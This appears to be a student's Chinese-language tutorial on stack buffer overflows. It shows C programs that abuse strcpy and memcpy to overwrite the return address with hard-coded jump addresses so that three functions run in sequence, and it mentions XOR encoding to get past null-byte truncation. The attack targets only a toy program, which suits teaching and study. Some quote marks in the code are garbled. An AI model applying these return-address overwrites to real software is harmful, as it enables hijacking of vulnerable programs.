缓冲区溢出之Strcpy和Memcpy

问题：定义三个函数fu’n1,fun2,fun3，不使用嵌入式汇编调用和函数调用，仅仅字符串的操作按顺序调用他们。

这个是今天老师抛出来的一个问题，似乎有着似曾相识的感觉。想到之前老师用strcpy()溢出实现过三个函数的调用，折回去看了一下之前的思路，然后按照题意进行分析。

方法一：strcpy()函数：易发生\x00截断

strcpy()的文章请查看： Strcpy()函数之缓冲区溢出

1、strcpy溢出原理简述

以下为strcpy（）函数溢出的示意图：

即如果将长度较大的值 b 赋值给 较短的值 a（b>a），那么strcpy之后，b多出来将一部分将会覆盖原来的内存单元。当溢出的值刚好覆盖了 函数结束后 ret 返回的地址时，那么函数 ret后将会执行 溢出的值。

拓展：ret函数原理如下：即将栈顶的元素赋给eip，当作下一步执行的地址。

pop eip

由于我们需要知道函数结束后ret执行的位置。即要知道当执行ret时，程序esp的值，然后在之前将需要的地址准确的覆盖到这个 esp处。

2、代码示例及分析

原理讲了这么多，接下来我们用代码来演示一下吧。

代码作用：执行fun1()函数

char *shellcode1="\x64\x65\x66\x67\x68\x69\x70\x71\x0F\x10\x40\x00";

void fun1()
{
printf("fun1 run!\n");
}


int main(int argc, char* argv[])//
{
    printf("begin\n");
char a[4]={0};
    strcpy(a,shellcode1);
return 0;
}

在开始执行main()函数时，如下图，我们发现 esp = 0x0012ff84 ;因此在main()函数正常执行结束后，执行最后一步 ret指令时 esp也是等于 0x12ff84（因为需要堆栈平衡）。因次我们需要执行的程序应该通过溢出而到达 0x12ff84 的位置。

以下是main函数执行结束后，执行ret指令时 esp的值。与我们才猜想的一样。

接下来我们应该将shellcode的地址通过溢出而放在 0x12ff84 的位置。

通过对shellcode的不断尝试，（可令shellcdoe=”abcdefghij……”的16进制代码），然后观察内存单元中的16进制码，从而确定 在 0x12ff84的字符，然后将字符换成 shellcode的地址，便可在 ret 时进行准确的跳转了。在上图中，我么可以发现  在字符 “rstu”  的位置在 0x12ff84，由于我们需要执行的是fun()函数，因此可以将fun()函数跳转地址存放在  “rstu” 字符的位置。

如下我们可以发现，在程序中又一个地址专门存放着 jmp 跳转到相应 fun()函数语句的地方。因此，我们可以将相关函数的  jmp 跳转语句的地址放在 上面的字符处。

3、shellcode的构造

如下，是我们构造的shellcode：

char *shellcode1 = "\x64\x65\x66\x67\x68\x69\x70\x71“
                  ”\x0F\x10\x40\x00";//jmp fun1的地址。

以上是将fun1()函数的jmp语句放入栈中，那么其他函数呢？

错误示例：将其余的地址放在shellcode1后面。如下，为构造好的shellcode。

char *shellcode1 =  "\x64\x65\x66\x67\x68\x69\x70\x71“
                    ”\x0F\x10\x40\x00"  //jmp fun1的地址
                    ”\x05\x10\x40\x00"  //jmp fun2的地址
                    ”\x0A\x10\x40\x00"；//jmp fun3的地址

这个是错误的，因为 strcpy()函数在遇到 \x00 字符时将会截断，因此后面的 jmp fun2和 fun3的 跳转语句将无法入栈。（不过在此可以通过xor异或加密，然后解密执行，可以绕过 00截断哦！）

4、最终代码

以下是正确的代码：

可以发现，其实这个方法就是将 strcpy()函数重复使用，从而达到 执行 fun()函数的目的。

#include "stdafx.h"
#include "string.h"
//char *shellcode="abcd"; //不断地尝试abc...可以用来测试定位，哈哈，不过这个是一种笨方法啦
char *shellcode1 = "\x64\x65\x66\x67\x68\x69\x70\x71“
                    ”\x0F\x10\x40\x00";//jmp fun1()
char *shellcode2 = "\x64\x65\x66\x67\x68\x69\x70\x71“
                    ”\x05\x10\x40\x00";//jmp fun2()
char *shellcode3 = "\x64\x65\x66\x67\x68\x69\x70\x71“
                    ”\x0A\x10\x40\x00";//jmp func3()
char *shellcode4 = "\x64\x65\x66\x67\x68\x69\x70\x71“
                    ”\x49\x14\x40\x00"; //防止报错
/***
\x49\x14\x40\x00地址：这个是在函数正常执行时 ret 跳转的地址。欺骗程序正常执行完成，然后终止程序。
***/
 
void fun1()
{
    char a1[4]={0}; 
    printf("fun1 run!\n");
    strcpy(a1,shellcode2); 
}
void fun2()
{
    char a2[4]={0}; 
    printf("fun2 run!\n");
    strcpy(a2,shellcode3);
}
void fun3()
{
    char a3[4]={0};
    printf("fun3 run!\n");
    strcpy(a3,shellcode4);
}
int main(int argc, char* argv[])
{
    printf("begin\n");
    char a[4]={0};
    strcpy(a,shellcode1);
    return 0;
}

方法二：memcpy函数溢出

1、memcpy函数分析

首先介绍一下memcpy()函数。

参考链接： https://blog.csdn.net/qq_28351609/article/details/84704531

extern void *memcpy(void *dest, void *src, unsigned int count);

用法：#include <string.h>

功能：由src所指内存区域复制count个字节到dest所指内存区域。

说明：src和dest所指内存区域不能重叠，函数返回指向dest的指针

注意：

 1.source和destin所指内存区域不能重叠，函数返回指向destin的指针
 2.与strcpy相比，memcpy并不是遇到’\0’就结束，而是一定会拷贝完n个字节。

memcpy用来做内存拷贝，你可以拿它拷贝任何数据类型的对象，可以指定拷贝的数据长度；

memcpy(a,b,n)：将b中的n个字符拷贝到a处。但是如果  n>a将会发生溢出。相较于 strcpy() 函数，memcpy函数遇到  \x00 将会继续复制，不发生 00 截断。

如下，memcpy()执行后将会发生溢出。

char a[100], b[50];

memcpy(b, a,sizeof(b)); //注意如用sizeof(a)，会造成b的内存地址溢出

2、构造payload 

memcpy()函数在这里的使用实质上就是上面 strcpy()的错误示例，但是由于 strcpy有 \x00 截断，而这个没有，所以便可以构造如下payload:

char shellcode[] =  "\x64\x65\x66\x67\x68\x69\x70\x71“
                    ”\x05\x10\x40\x00“  //jmp fun1
                    ”\x14\x10\x40\x00“  //jmp fun2
                    ”\x0F\x10\x40\x00“  //jmp fun3
                    ”\x49\x14\x40\x00"; //防止报错

3、最终代码

#include "stdafx.h"
#include "string.h"

char shellcode[] =  "\x64\x65\x66\x67\x68\x69\x70\x71“
		    ”\x05\x10\x40\x00“
		    ”\x14\x10\x40\x00“
		    ”\x0F\x10\x40\x00“
		    ”\x49\x14\x40\x00";
 
void fun1()
{
   printf("fun1 run!\n");
}
void fun2()
{
   printf("fun2 run!\n");
}
void fun3()
{
  printf("fun3 run!\n");
}

//主函数
int main(int argc, char* argv[])
{
    printf("begin\n");
	char a[4]={0};
	//溢出原理:  shellcode长度 > a长度
	memcpy(a, shellcode,sizeof(shellcode));

    return 0;
}

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